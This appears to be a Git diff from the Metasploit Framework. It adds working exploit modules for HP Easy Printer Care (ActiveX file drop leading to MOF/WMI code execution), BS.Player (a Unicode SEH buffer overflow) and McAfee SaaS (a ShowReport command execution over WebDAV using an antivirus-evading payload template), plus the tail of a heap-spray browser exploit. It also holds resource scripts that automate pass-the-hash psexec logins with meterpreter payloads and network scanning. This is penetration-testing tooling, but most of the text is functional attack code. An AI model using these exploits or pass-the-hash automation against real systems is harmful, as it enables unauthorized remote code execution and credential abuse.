fakefunc = Rex::Text.to_unescape([my_target['Fakefunc']].pack('V*'))
exploit_js = <<-JS
#{js_element_name} = document.getElementById("d");
#{js_element_name}.QueryInterface(Components.interfaces.nsIChannelEventSink);
#{js_element_name}.onChannelRedirect(null, new Object, 0)
#{js_obj_addr_name} = unescape("\x00#{fakevtable}");
var #{js_sc_name} = unescape("#{escaped_payload}");
var #{js_ret_addr_name} = unescape("#{fakefunc}");
while(#{js_ret_addr_name}.length < 0x120)
{
#{js_ret_addr_name} += #{js_ret_addr_name};
}
var #{js_chunk_name} = #{js_ret_addr_name}.substring(0, 0x18);
#{js_chunk_name} += #{js_sc_name};
#{js_chunk_name} += #{js_ret_addr_name};
var #{js_final_chunk_name} = #{js_chunk_name}.substring(0, 0x10000 / 2);
while(#{js_final_chunk_name}.length < 0x800000)
{
#{js_final_chunk_name} += #{js_final_chunk_name};
}
var #{js_block_name} = #{js_final_chunk_name}.substring(0, 0x80000 - #{js_sc_name}.length - 0x24 / 2 - 0x4 / 2 - 0x2 / 2);
#{js_array_name} = new Array()
for(n = 0; n < 0x220; n++)
{
#{js_array_name}[n] = #{js_block_name} + #{js_sc_name};
}
JS
html = <<-HTML
<html>
<body>
<object id="d"><object>
<script type="text/javascript">
#{exploit_js}
</script>
</body>
</html>
HTML
#Remove the extra tabs
html = html.gsub(/^\t\t/, '')
print_status("Sending #{self.name} to #{cli.peerhost}:#{cli.peerport}...")
send_response_html(cli, html, { 'Content-Type' => 'text/html' })
# Handle the payload
handler(cli)
end
end

View File

@ -0,0 +1,158 @@
##
# This file is part of the Metasploit Framework and may be subject to
# redistribution and commercial restrictions. Please see the Metasploit
# Framework web site for more information on licensing and terms of use.
# http://metasploit.com/framework/
##
require 'msf/core'
class Metasploit3 < Msf::Exploit::Remote
Rank = GreatRanking
include Msf::Exploit::Remote::HttpServer::HTML
include Msf::Exploit::EXE
include Msf::Exploit::WbemExec
def initialize(info = {})
super(update_info(info,
'Name' => 'HP Easy Printer Care XMLCacheMgr Class ActiveX Control Remote Code Execution',
'Description' => %q{
This module allows remote attackers to place arbitrary files on a users file
system by abusing the "CacheDocumentXMLWithId" method from the "XMLCacheMgr"
class in the HP Easy Printer HPTicketMgr.dll ActiveX Control (HPTicketMgr.dll
2.7.2.0).
Code execution can be achieved by first uploading the payload to the remote
machine embeddeding a vbs file, and then upload another mof file, which enables
Windows Management Instrumentation service to execute the vbs. Please note that
this module currently only works for Windows before Vista.
},
'License' => MSF_LICENSE,
'Author' =>
[
'Andrea Micalizzi', # aka rgod original discovery
'juan vazquez', # Metasploit module
],
'References' =>
[
[ 'CVE', '2011-4786'],
[ 'BID', '51396'],
[ 'URL', 'http://www.zerodayinitiative.com/advisories/ZDI-12-013/' ],
],
'DefaultOptions' =>
{
'InitialAutoRunScript' => 'migrate -f',
},
'Payload' =>
{
'Space' => 2048,
'StackAdjustment' => -3500,
},
'Platform' => 'win',
'Targets' =>
[
#Windows before Vista
[ 'Automatic', { } ],
],
'DefaultTarget' => 0,
'DisclosureDate' => 'Jan 11 2012'))
end
#
# The following handles deleting the copied vbs payload and mof file
# See "struts_code_exec.rb" and "ms10_026_dbldecode.rb" for more information.
#
def on_new_session(client)
if client.type != "meterpreter"
print_error("NOTE: you must use a meterpreter payload in order to automatically cleanup.")
print_error("The vbs payload and mof file must be removed manually.")
return
end
return if not @var_mof_name
return if not @var_vbs_name
# stdapi must be loaded before we can use fs.file
client.core.use("stdapi") if not client.ext.aliases.include?("stdapi")
cmd = "C:\\windows\\system32\\attrib.exe -r " +
"C:\\windows\\system32\\wbem\\mof\\good\\" + @var_mof_name + ".mof"
client.sys.process.execute(cmd, nil, {'Hidden' => true })
begin
print_status("Deleting the vbs payload \"#{@var_vbs_name}.vbs\" ...")
client.fs.file.rm("C:\\windows\\system32\\" + @var_vbs_name + ".vbs")
print_status("Deleting the mof file \"#{@var_mof_name}.mof\" ...")
client.fs.file.rm("C:\\windows\\system32\\wbem\\mof\\good\\" + @var_mof_name + ".mof")
rescue ::Exception => e
print_error("Exception: #{e.inspect}")
end
end
def on_request_uri(cli, request)
unless request['User-Agent'] =~ /MSIE/
send_not_found(cli)
print_error("#{cli.peerhost}:#{cli.peerport} Unknown user-agent")
return
end
# Using Windows Management Instrumentation service to execute the payload.
# Using code from "blackice_downloadimagefileurl.rb". See it for more information.
var_xmlcachemgr = rand_text_alpha(rand(5)+5)
var_mof_function_name = rand_text_alpha(rand(5)+5)
content = <<-EOS
<html>
<head>
<script>
var #{var_xmlcachemgr} = new ActiveXObject('HPESPRIT.XMLCacheMgr.1');
function #{var_mof_function_name}() {
#{var_xmlcachemgr}.CacheDocumentXMLWithId(
"c:\\\\WINDOWS\\\\system32\\\\wbem\\\\mof\\\\#{@var_mof_name}.mof",
unescape("#{@mof_content}"),
1,
1
);
}
#{var_xmlcachemgr}.CacheDocumentXMLWithId(
"C:\\\\WINDOWS\\\\system32\\\\#{@var_vbs_name}.vbs",
unescape("#{@vbs_content}"),
1,
1
);
setTimeout("#{var_mof_function_name}()", 4000);
</script>
</head>
</html>
EOS
print_status("Sending #{self.name} to #{cli.peerhost}:#{cli.peerport}...")
send_response_html(cli, content)
handler(cli)
end
def exploit
# In order to save binary data to the file system the payload is written to a .vbs
# file and execute it from there.
@var_mof_name = rand_text_alpha(rand(5)+5)
@var_vbs_name = rand_text_alpha(rand(5)+5)
print_status("Encoding payload into vbs...")
payload = generate_payload_exe
@vbs_content = Rex::Text.to_hex(Msf::Util::EXE.to_exe_vbs(payload))
print_status("Generating mof file...")
@mof_content = Rex::Text.to_hex(generate_mof("#{@var_mof_name}.mof", "#{@var_vbs_name}.vbs"))
super
end
end

View File

@ -14,7 +14,7 @@ class Metasploit3 < Msf::Exploit::Remote
def initialize(info = {})
super(update_info(info,
'Name' => 'Microsoft Internet Explorer JavaScript OnLoad Handler Remote Code Execution Vulnerability',
'Name' => 'MS05-054: Microsoft Internet Explorer JavaScript OnLoad Handler Remote Code Execution',
'Description' => %q{
This bug is triggered when the browser handles a JavaScript 'onLoad' handler in
conjunction with an improperly initialized 'window()' JavaScript function.
@ -38,6 +38,7 @@ class Metasploit3 < Msf::Exploit::Remote
[
['MSB', 'MS05-054'],
['CVE', '2005-1790'],
['OSVDB', '17094'],
['URL', 'http://www.securityfocus.com/bid/13799/info'],
['URL', 'http://www.cvedetails.com/cve/CVE-2005-1790'],
],

View File

@ -0,0 +1,136 @@
##
# $Id: $
##
##
# This file is part of the Metasploit Framework and may be subject to
# redistribution and commercial restrictions. Please see the Metasploit
# Framework web site for more information on licensing and terms of use.
# http://metasploit.com/framework/
##
require 'msf/core'
class Metasploit3 < Msf::Exploit::Remote
Rank = NormalRanking
include Msf::Exploit::FILEFORMAT
include Msf::Exploit::Seh
def initialize(info = {})
super(update_info(info,
'Name' => 'BS.Player 2.57 Buffer Overflow Exploit (Unicode SEH)',
'Description' => %q{
This module exploits a buffer overflow in BS.Player 2.57. When
the playlist import is used to import a specially crafted m3u file,
a buffer overflow occurs allowing arbitrary code execution.
},
'License' => MSF_LICENSE,
'Author' =>
[
'C4SS!0 G0M3S ', # Original Exploit
'Chris Gabriel', # MSF Module
#Greets: Corelan team for mona.py & awesome tutorials
],
'References' =>
[
[ 'URL', 'http://www.exploit-db.com/exploits/15934/' ]
],
'DefaultOptions' =>
{
'ExitFunction' => 'process',
#'InitialAutoRunScript' => 'migrate -f',
},
'Platform' => 'win',
'Payload' =>
{
'Space' => 2000,
'BadChars' => "\x00\x0a\x0d\x1a\x80",
'DisableNops' => true,
'StackAdjustment' => -3500,
},
'Targets' =>
[
[ 'Windows XP',
{
'Ret' => "\x2f\x49",
'Offset' => 4102
}
], # pop ecx # pop ebp # ret 0c | startnull,unicode,asciiprint,ascii {PAGE_EXECUTE_READWRITE} [bsplayer.exe] ASLR: False, Rebase: False, SafeSEH: False, OS: False, v2.5.7.1051 (bsplayer.exe)
[ 'Windows 7',
{
'Ret' => "\x2f\x49",
'Offset' => 4102
}
], # pop ecx # pop ebp # ret 0c | startnull,unicode,asciiprint,ascii {PAGE_EXECUTE_READWRITE} [bsplayer.exe] ASLR: False, Rebase: False, SafeSEH: False, OS: False, v2.5.7.1051 (bsplayer.exe)
],
'Privileged' => false,
'DisclosureDate' => 'Jan 07 2010',
'DefaultTarget' => 0))
register_options([OptString.new('FILENAME', [ false, 'The file name.', 'msf.m3u']),], self.class)
end
def exploit
nseh = "\x61\x42"
align = "\x58" # POP EAX
align += "\x6d" # PAD
align += "\x58" # POP EAX
align += "\x6d" # PAD
align += "\x58" # POP EAX
align += "\x6d" # PAD
align += "\x58" # POP EAX
align += "\x6d" # PAD
align += "\x58" # POP EAX
align += "\x6d" # PAD
align += "\x58" # POP EAX
align += "\x6d" # PAD
align += "\x58" # POP EAX
align += "\x6d" # PAD
align += "\x58" # POP EAX
align += "\x6d" # PAD
align += "\x58" # POP EAX
align += "\x6d" # PAD
align += "\x58" # POP EAX
align += "\x6d" # PAD
align += "\x58" # POP EAX
align += "\x6d" # PAD
align += "\x58" # POP EAX
align += "\x6d" # PAD
align += "\x58" # POP EAX
align += "\x6d" # PAD
align += "\x50" # PUSH EAX
align += "\x6d" # PAD
align += "\xc3" # RET
if target == targets[0] then
padding = rand_text_alpha_lower(1879)
elsif target == targets[1] then
padding = rand_text_alpha_lower(1931)
end
enc = framework.encoders.create('x86/unicode_mixed')
register_to_align_to = "EAX"
enc.datastore.import_options_from_hash({ 'BufferRegister' => register_to_align_to })
unicodepayload = enc.encode(payload.encoded, nil, nil, platform)
buffer = "http://"
buffer << rand_text_alpha_lower(target['Offset'])
buffer << nseh
buffer << target['Ret']
buffer << align
buffer << padding
buffer << unicodepayload
file_create(buffer)
end
end

View File

@ -0,0 +1,368 @@
##
# This file is part of the Metasploit Framework and may be subject to
# redistribution and commercial restrictions. Please see the Metasploit
# Framework web site for more information on licensing and terms of use.
# http://metasploit.com/framework/
##
require 'msf/core'
class Metasploit3 < Msf::Exploit::Remote
Rank = NormalRanking
include Msf::Exploit::FILEFORMAT
include Msf::Exploit::Remote::HttpServer::HTML
include Msf::Exploit::EXE
def initialize(info={})
super(update_info(info,
'Name' => "McAfee SaaS MyCioScan ShowReport Remote Command Execution",
'Description' => %q{
This module exploits a vulnerability found in McAfee Security-as-a-Service.
The ShowReport() function (located in the myCIOScn.dll ActiveX component) fails
to check the FileName argument, and passes it on to a ShellExecuteW() function,
therefore allows any malicious attacker to execute any process that's on the
local system. However, if the victim machine is connected to a remote share (
or something similiar), then it's also possible to execute arbitrary code.
Please note that a custom template is required for the payload, because the
default Metasploit template is detectable by McAfee -- any Windows binary, such
as calc.exe or notepad.exe, should bypass McAfee fine.
},
'License' => MSF_LICENSE,
'Author' =>
[
'rgod', #Initial discovery
'sinn3r', #Metasploit
],
'References' =>
[
['URL', 'http://www.zerodayinitiative.com/advisories/ZDI-12-012'],
],
'Payload' =>
{
'BadChars' => "\x00",
},
'DefaultOptions' =>
{
'ExitFunction' => "none",
#'InitialAutoRunScript' => 'migrate -f',
'DisablePayloadHandler' => 'false',
},
'Platform' => 'win',
'Targets' =>
[
['Internet Explorer', {}],
],
'Privileged' => false,
'DisclosureDate' => "Apr 1 2011",
'DefaultTarget' => 0))
register_options([
OptPort.new('SRVPORT', [ true, "The daemon port to listen on (do not change)", 80 ]),
OptString.new('SHARENAME', [ true, "The name of the top-level share.", "files"]),
OptString.new('URIPATH', [ true, "The URI to use", "/" ]),
OptString.new('FILENAME', [ true, 'The file name.', 'msf.html']),
OptPath.new('TEMPLATE', [true, 'A custom template for the payload in order to bypass McAfee', ''])
], self.class)
end
def on_request_uri(cli, request)
case request.method
when 'OPTIONS'
process_options(cli, request)
when 'PROPFIND'
process_propfind(cli, request)
when 'GET'
process_get(cli, request)
else
print_status("#{cli.peerhost}:#{cli.peerport} #{request.method} => 404 (#{request.uri})")
resp = create_response(404, "Not Found")
resp.body = ""
resp['Content-Type'] = 'text/html'
cli.send_response(resp)
end
end
def process_get(cli, request)
print_status("URI requested: #{request.uri.to_s}")
if request.uri =~ /\.vbs$/i
# Depending on the connection speed, this might take a moment to transfer the
# payload and actually get executed
send_response(cli, @vbs, {'Content-Type'=>'application/octet-stream'})
print_status("executable sent")
else
# Don't know the request, return not found
print_error("Don't care about this file, 404")
send_not_found(cli)
end
return
end
def process_options(cli, request)
vprint_status("#{cli.peerhost}:#{cli.peerport} OPTIONS #{request.uri}")
headers = {
'MS-Author-Via' => 'DAV',
'DASL' => '<DAV:sql>',
'DAV' => '1, 2',
'Allow' => 'OPTIONS, TRACE, GET, HEAD, DELETE, PUT, POST, COPY, MOVE, MKCOL, PROPFIND, PROPPATCH, LOCK, UNLOCK, SEARCH',
'Public' => 'OPTIONS, TRACE, GET, HEAD, COPY, PROPFIND, SEARCH, LOCK, UNLOCK',
'Cache-Control' => 'private'
}
resp = create_response(207, "Multi-Status")
headers.each_pair {|k,v| resp[k] = v }
resp.body = ''
resp['Content-Type'] = 'text/xml'
cli.send_response(resp)
end
def process_propfind(cli, request)
path = request.uri
vprint_status("Received WebDAV PROPFIND request from #{cli.peerhost}:#{cli.peerport} #{path}")
body = ''
my_host = (datastore['SRVHOST'] == '0.0.0.0') ? Rex::Socket.source_address(cli.peerhost) : datastore['SRVHOST']
my_uri = "http://#{my_host}/"
if path !~ /\/$/
if path.index(".")
print_status("Sending 404 for #{path} ...")
resp = create_response(404, "Not Found")
resp['Content-Type'] = 'text/html'
cli.send_response(resp)
return
else
print_status("Sending 301 for #{path} ...")
resp = create_response(301, "Moved")
resp["Location"] = path + "/"
resp['Content-Type'] = 'text/html'
cli.send_response(resp)
return
end
end
print_status("Sending directory multistatus for #{path} ...")
body = <<-BODY
<?xml version="1.0" encoding="utf-8"?>
<D:multistatus xmlns:D="DAV:" xmlns:b="urn:uuid:c2f41010-65b3-11d1-a29f-00aa00c14882/">
<D:response xmlns:lp1="DAV:" xmlns:lp2="http://apache.org/dav/props/">
<D:href>#{path}</D:href>
<D:propstat>
<D:prop>
<lp1:resourcetype><D:collection/></lp1:resourcetype>
<lp1:creationdate>2010-07-19T20:29:42Z</lp1:creationdate>
<lp1:getlastmodified>Mon, 19 Jul 2010 20:29:42 GMT</lp1:getlastmodified>
<lp1:getetag>"#{"%.16x" % rand(0x100000000)}"</lp1:getetag>
<D:supportedlock>
<D:lockentry>
<D:lockscope><D:exclusive/></D:lockscope>
<D:locktype><D:write/></D:locktype>
</D:lockentry>
<D:lockentry>
<D:lockscope><D:shared/></D:lockscope>
<D:locktype><D:write/></D:locktype>
</D:lockentry>
</D:supportedlock>
<D:lockdiscovery/>
<D:getcontenttype>httpd/unix-directory</D:getcontenttype>
</D:prop>
<D:status>HTTP/1.1 200 OK</D:status>
</D:propstat>
</D:response>
BODY
body = body.gsub(/^\t\t/, '')
if request["Depth"].to_i > 0
if path.scan("/").length < 2
body << generate_shares(path)
else
# Set payload name, and set the hidden attribute. True means visible
filenames = [ [@vbs_name, false] ]
body << generate_files(path, filenames)
end
end
body << "</D:multistatus>"
body.gsub!(/\t/, '')
# send the response
resp = create_response(207, "Multi-Status")
resp.body = body
resp['Content-Type'] = 'text/xml; charset="utf8"'
cli.send_response(resp)
end
def gen_timestamp(ttype=nil)
::Time.now.strftime("%a, %d %b %Y %H:%M:%S GMT")
end
def gen_datestamp(ttype=nil)
::Time.now.strftime("%Y-%m-%dT%H:%M:%SZ")
end
def generate_shares(path)
share_name = datastore['SHARENAME']
share = <<-SHARE
<D:response xmlns:lp1="DAV:" xmlns:lp2="http://apache.org/dav/props/">
<D:href>#{path}#{share_name}/</D:href>
<D:propstat>
<D:prop>
<lp1:resourcetype><D:collection/></lp1:resourcetype>
<lp1:creationdate>#{gen_datestamp}</lp1:creationdate>
<lp1:getlastmodified>#{gen_timestamp}</lp1:getlastmodified>
<lp1:getetag>"#{"%.16x" % rand(0x100000000)}"</lp1:getetag>
<D:supportedlock>
<D:lockentry>
<D:lockscope><D:exclusive/></D:lockscope>
<D:locktype><D:write/></D:locktype>
</D:lockentry>
<D:lockentry>
<D:lockscope><D:shared/></D:lockscope>
<D:locktype><D:write/></D:locktype>
</D:lockentry>
</D:supportedlock>
<D:lockdiscovery/>
<D:getcontenttype>httpd/unix-directory</D:getcontenttype>
</D:prop>
<D:status>HTTP/1.1 200 OK</D:status>
</D:propstat>
</D:response>
SHARE
share = share.gsub(/^\t\t/, '')
return share
end
def generate_files(path, items)
trail = path.split("/")
return "" if trail.length < 2
files = ""
items.each do |f, hide|
h = hide ? '1' : '0'
files << <<-FILES
<D:response xmlns:lp1="DAV:" xmlns:lp2="http://apache.org/dav/props/">
<D:href>#{path}#{f}</D:href>
<D:propstat>
<D:prop>
<lp1:resourcetype/>
<lp1:creationdate>#{gen_datestamp}</lp1:creationdate>
<lp1:getcontentlength>#{rand(0x10000)+120}</lp1:getcontentlength>
<lp1:getlastmodified>#{gen_timestamp}</lp1:getlastmodified>
<lp1:getetag>"#{"%.16x" % rand(0x100000000)}"</lp1:getetag>
<lp2:executable>T</lp2:executable>
<D:supportedlock>
<D:lockentry>
<D:lockscope><D:exclusive/></D:lockscope>
<D:locktype><D:write/></D:locktype>
</D:lockentry>
<D:lockentry>
<D:lockscope><D:shared/></D:lockscope>
<D:locktype><D:write/></D:locktype>
</D:lockentry>
</D:supportedlock>
<D:lockdiscovery/>
<D:getcontenttype>application/octet-stream</D:getcontenttype>
</D:prop>
<D:status>HTTP/1.1 200 OK</D:status>
<D:ishidden b:dt="boolean">#{h}</D:ishidden>
</D:propstat>
</D:response>
FILES
end
files = files.gsub(/^\t\t\t/, '')
return files
end
def get_payload
fname = rand_text_alpha(5) + ".vbs"
p = payload.encoded
exe = Msf::Util::EXE.to_win32pe($framework, p, {:inject=>true, :template=>datastore['TEMPLATE']})
vbs = Msf::Util::EXE.to_exe_vbs(exe)
return fname, vbs
end
def exploit
@vbs_name, @vbs = get_payload
#
# progid: MYCIOSCNLib.Scan
# clsid:209EBDEE-065C-11D4-A6B8-00C04F0D38B7
#
myhost = datastore['LHOST'] == '0.0.0.0' ? Rex::Socket.source_address : datastore['LHOST']
obj_name = rand_text_alpha(rand(6) + 3)
sub_name = rand_text_alpha(rand(6) + 3)
html = <<-HTML
<html>
<head>
</head>
<body>
<object classid='clsid:209EBDEE-065C-11D4-A6B8-00C04F0D38B7' id='#{obj_name}'></object>
<script language='vbscript'>
sub #{sub_name}
#{obj_name}.ShowReport "\\\\#{myhost}\\#{datastore['SHARENAME']}\\#{@vbs_name}"
end sub
#{obj_name}.ShowReport "\\\\#{myhost}\\#{datastore['SHARENAME']}"
window.setTimeout "#{sub_name}", 1000
</script>
</body>
</html>
HTML
html = html.gsub(/^\t\t/, '')
file_create(html)
print_status("#{datastore['FILENAME']} must be run locally in order to execute our payload")
super
end
end
=begin
myCIOScn!CScnXml::SetNumScanned+0x19ab:
2101caf9 55 push ebp
0:003> lmv m myCIOScn
start end module name
21000000 2106d000 myCIOScn (export symbols) C:\PROGRA~1\McAfee\MANAGE~1\VScan\myCIOScn.dll
Loaded symbol image file: C:\PROGRA~1\McAfee\MANAGE~1\VScan\myCIOScn.dll
Image path: C:\PROGRA~1\McAfee\MANAGE~1\VScan\myCIOScn.dll
Image name: myCIOScn.dll
Timestamp: Wed Aug 10 11:34:01 2011 (4E42CF19)
CheckSum: 0007C3A6
ImageSize: 0006D000
File version: 5.2.3.104
Product version: 5.2.0.0
File flags: 0 (Mask 3F)
File OS: 40004 NT Win32
File type: 1.0 App
File date: 00000000.00000000
Translations: 0409.04b0
CompanyName: McAfee, Inc.
ProductName: McAfee® Security-as-a-Service
InternalName: myCioScn
OriginalFilename: myCioScn.DLL
ProductVersion: 5.2.3
FileVersion: 5.2.3.104
PrivateBuild: 5.2.3.104
SpecialBuild: FULL
FileDescription: myCioScn Module
.text:2101CB1A push esi
.text:2101CB1B push 1
.text:2101CB1D xor esi, esi
.text:2101CB1F push esi
.text:2101CB20 push esi
.text:2101CB21 push eax ; we own this
.text:2101CB22 push offset aOpen ; "open"
.text:2101CB27 push esi
.text:2101CB28 mov [ebp+0A50h+Str], eax
.text:2101CB2B call off_2105D350 ; ShellExecuteW
=end

View File

@ -93,10 +93,10 @@ class Metasploit3 < Msf::Exploit::Remote
def exploit
connect_login
myHost = datastore['LHOST'] == '0.0.0.0' ? Rex::Socket.source_address : datastore['LHOST']
myhost = datastore['LHOST'] == '0.0.0.0' ? Rex::Socket.source_address : datastore['LHOST']
# Take client ip + ftp user lengths into account for EIP offset
padd_size = target['Offset'] + (13 - myHost.length) + (3 - datastore['FTPUSER'].length)
padd_size = target['Offset'] + (13 - myhost.length) + (3 - datastore['FTPUSER'].length)
junk = rand_text_alpha(padd_size)
sploit = junk

View File

@ -0,0 +1,99 @@
# auto-pass_the_hash.rc
# Author: m-1-k-3 (Web: http://www.s3cur1ty.de / Twitter: @s3cur1ty_de)
# This Metasploit RC-File could be used to automatically check already discovered windows hashes
# with jtr before login testing, after jtr is started it uses the hashes with pass the hash
# against windows fileservices. -> first we have to fill up the db with operating system infos
# we use psexec only against windows systems. Hint: smb_version
<ruby>
#psexec needs a payload
if framework.datastore['PAYLOAD']
pload = framework.datastore['PAYLOAD']
else #just to get sure that we have a backup payload
pload = "windows/meterpreter/bind_tcp"
end
if pload =~ /reverse/ and not framework.datastore['LHOST']
print_error("You have to set LHOST globally!")
return
end
if (framework.datastore['JOHN'] == "true") # we can set a global JOHN Option to control the usage of the jtr modules
jotr = 1
else
jotr = 0
end
if (framework.datastore['VERBOSE'] == "true") #we look in the global datastore for a global VERBOSE option and use it
verbose = 1 #true
else
verbose = 0
end
def infos(serv,creds,host)
print_line("")
print_line("====================================")
print_line("IP: #{host.address}")
print_line("OS: #{host.os_name}")
print_line("Servicename: #{serv.name}")
print_line("Service Port: #{serv.port.to_i}")
print_line("Service Protocol: #{serv.proto}")
print_line("user: #{creds.user}")
print_line("pass: #{creds.pass}")
print_line("====================================")
print_line("")
end
framework.db.creds.each do |creds| # just checking if we have any smb_hashes in the creds db
next if (creds.ptype !~ /smb_hash/)
if (jotr == 1)
# first checking weak windows hashes with john ... because of the filtering before, we are sure that
# this is a windows hash
# on the first found hash we are going to analyse all hashes - then we set jotr to 0
print_line("using jtr_crack_fast")
run_single("use auxiliary/analyze/jtr_crack_fast")
# we use the info from Msf::Config.install_root and append the following path to it (thx to sinn3r)
run_single("set JOHN_BASE #{Msf::Config.install_root}/data/john")
run_single("set JOHN_PATH #{Msf::Config.install_root}/data/john")
run_single("run -j")
run_single("back")
jotr = 0 # jtr modules tries to crack all smb_hashes from the db ... so we could leave it now
end
smbhash = creds.pass
username = creds.user
framework.db.hosts.each do |host|
next if (host.os_name !~ /Windows/) # pass the hash works just for Win
host.services.each do |serv|
next if not serv.host
next if (serv.state != ServiceState::Open)
next if (serv.name !~ /smb/)
print_line("using psexec - Pass the hash")
if(verbose == 1)
infos(serv,creds,host)
end
run_single("use exploit/windows/smb/psexec")
run_single("set RHOST #{host.address}")
run_single("set RPORT #{serv.port}")
run_single("set SMBUser #{username}")
run_single("set SMBPass #{smbhash}")
run_single("set PAYLOAD #{pload}")
if pload =~ /reverse/
run_single("set LPORT #{(rand(0x8fff) + 4000).to_s}")
end
if(verbose == 1)
run_single("set VERBOSE true")
end
run_single("exploit -j -z")
run_single("back")
end
end
end
</ruby>

View File

@ -0,0 +1,58 @@
# autocrawler.rc
# Author: m-1-k-3 (Web: http://www.s3cur1ty.de / Twitter: @s3cur1ty_de)
# This Metasploit RC-File could be used to crawl webapps automatically
# it uses the allready discovered webservers - "services -s http" / "services -s https"
# you could use db_nmap or http_version for discovering the werbservers
# some basic jobhandling to not kill our own machine is included - check the maxjobs and threadspercrawler variables
<ruby>
if (framework.datastore['VERBOSE'] == "true") #we look in the global datastore for a global VERBOSE option and use it
verbose = 1 #true
else
verbose = 0
end
threadspercrawler = "4" #check this ... now its default
def jobwaiting() #thread handling for poor guys ...
maxjobs=15 #throttling if we get too much jobs
while(framework.jobs.keys.length >= maxjobs)
::IO.select(nil, nil, nil, 2.5)
print_error("waiting for finishing some modules... active jobs: #{framework.jobs.keys.length} / threads: #{framework.threads.length}")
end
end
framework.db.workspace.hosts.each do |host|
host.services.each do |serv|
next if not serv.host
next if (serv.state != ServiceState::Open)
next if (serv.name !~ /http/)
if(verbose == 1)
print_line("IP: #{host.address}")
print_line("OS: #{host.os_name}")
print_line("Servicename: #{serv.name}")
print_line("Service Port: #{serv.port.to_i}")
print_line("Service Protocol: #{serv.proto}")
end
run_single("use auxiliary/scanner/http/crawler")
run_single("set MAX_THREADS #{threadspercrawler}")
run_single("set RHOST #{host.address}")
run_single("set RPORT #{serv.port.to_i}")
if(serv.name == "https")
run_single("set SSL true")
else
run_single("set SSL false")
end
if(verbose == 1)
run_single("set VERBOSE true")
run_single("run -j")
else
run_single("run -j -q")
end
run_single("back")
jobwaiting()
end
end
</ruby>

View File

@ -0,0 +1,22 @@
# portcleaner.rc
# Author: m-1-k-3 (Web: http://www.s3cur1ty.de / Twitter: @s3cur1ty_de)
# This Metasploit RC-File could be used to clean up your metasploit database from closed ports
<ruby>
counter = 0
framework.db.hosts.each do |host|
host.services.each do |serv|
next if not serv.host
if (serv.state != ServiceState::Open)
print_line("cleaning closed services (Port: #{serv.port.to_i} / Host: #{host.address})")
run_single("services -d -p #{serv.port.to_i} -r #{serv.proto} #{host.address}")
counter = counter + 1
next
end
end
end
print_line("")
print_line("cleaned #{counter} closed ports")
print_line("")
</ruby>

View File

@ -0,0 +1,53 @@
# portscan.rc
# Author: m-1-k-3 (Web: http://www.s3cur1ty.de / Twitter: @s3cur1ty_de)
# This Metasploit RC-File could be used to portscan the network via nmap or via the internal portscanner module
# it also uses the udp_sweep module
# RHOSTS is used from the global datastore
<ruby>
#set ports for Metasploit tcp-portscanner (change this for your needs):
ports = "7,21,22,23,25,43,50,53,67,68,79,80,109,110,111,123,135,137,138,139,143,161,264,265,389,443,445,500,631,901,995,1241,1352,1433,1434,1521,1720,1723,3306,3389,3780,4662,5800,5801,5802,5803,5900,5901,5902,5903,6000,6666,8000,8080,8443,10000,10043,27374,27665"
if (framework.datastore['RHOSTS'] == nil)
print_status("you have to set RHOSTS globally ... exiting")
return
end
if (framework.datastore['VERBOSE'] == "true") #we look in the global datastore for a global VERBOSE option and use it
verbose = 1 #true
else
verbose = 0
end
if (framework.datastore['THREADS'] == nil) #default to 100 Threads
run_single("setg THREADS 100")
end
if (framework.datastore['NMAP'] == nil or framework.datastore['NMAP'] == "true") #default usage of nmap as portscanner
nmap = 1
else
nmap = 0
end
print_line("")
print_line("starting portscanners ...")
print_line("")
print_line("Module: udp_sweep")
run_single("use auxiliary/scanner/discovery/udp_sweep")
run_single("run -j")
if ( nmap == 1 )
print_line("Module: db_nmap")
if ( verbose == 1)
run_single("db_nmap -v -n -PN -P0 -O -sSV #{framework.datastore['RHOSTS']}")
else
run_single("db_nmap -n -PN -P0 -O -sSV #{framework.datastore['RHOSTS']}")
end
else
print_line("Module: portscan/tcp")
run_single("use auxiliary/scanner/portscan/tcp")
run_single("set PORTS #{ports}")
run_single("run -j")
end
</ruby>

View File

@ -1,4 +1,3 @@
##
# $Id$
##
@ -12,9 +11,12 @@
require 'msf/core'
require 'rex'
require 'msf/core/post/windows/railgun'
class Metasploit3 < Msf::Post
include Msf::Post::Windows::Railgun
def initialize(info={})
super( update_info( info,
'Name' => 'railgun_testing',
@ -28,26 +30,25 @@ class Metasploit3 < Msf::Post
[
OptInt.new("ERR_CODE" , [true, "Error code to reverse lookup", 0x420]),
OptInt.new("WIN_CONST", [true, "Windows constant to reverse lookup", 4]),
OptString.new("WCREGEX", [false,"Regexp to apply to constant rev lookup", "^SERVICE"]),
OptString.new("ECREGEX", [false,"Regexp to apply to error code lookup", "^ERROR_SERVICE_"]),
OptRegexp.new("WCREGEX", [false,"Regexp to apply to constant rev lookup", '^SERVICE']),
OptRegexp.new("ECREGEX", [false,"Regexp to apply to error code lookup", '^ERROR_SERVICE_']),
], self.class)
end
def run
print_debug datastore['ECREGEX']
print_status("Running against session #{datastore["SESSION"]}")
print_status("Session type is #{session.type}")
@rg = session.railgun
print_status()
print_status("TESTING: const_reverse_lookup on #{datastore['WIN_CONST']} filtering by #{datastore['WCREGEX'].to_s}")
results = @rg.const_reverse_lookup(datastore['WIN_CONST'],datastore['WCREGEX'])
print_status("TESTING: select_const_names on #{datastore['WIN_CONST']} filtering by #{datastore['WCREGEX'].to_s}")
results = select_const_names(datastore['WIN_CONST'],datastore['WCREGEX'])
print_status("RESULTS: #{results.class} #{results.pretty_inspect}")
print_status()
print_status("TESTING: error_lookup on #{datastore['ERR_CODE']} filtering by #{datastore['ECREGEX'].to_s}")
results = @rg.error_lookup(datastore['ERR_CODE'],datastore['ECREGEX'])
results = lookup_error(datastore['ERR_CODE'],datastore['ECREGEX'])
print_status("RESULTS: #{results.class} #{results.inspect}")
print_status()

519
tools/reg.rb Executable file
View File

@ -0,0 +1,519 @@
#!/usr/bin/env ruby
#
# $Id$
#
# This script acts as a small registry reader.
# You may easily automate a lot of registry forensics with a proper method.
# $Revision$
#
msfbase = File.symlink?(__FILE__) ? File.readlink(__FILE__) : __FILE__
$:.unshift(File.join(File.dirname(msfbase), '..', 'lib'))
require 'rex'
require 'msf/ui'
require 'rex/registry/hive'
def print_all(nodekey)
print_all_keys(nodekey)
print_all_values(nodekey)
end
def print_all_keys(nodekey)
return if !nodekey
return if !nodekey.lf_record
return if !nodekey.lf_record.children
return if nodekey.lf_record.children.length == 0
table = Rex::Ui::Text::Table.new(
'Header' => "Child Keys for #{nodekey.full_path}",
'Indent' => ' '.length,
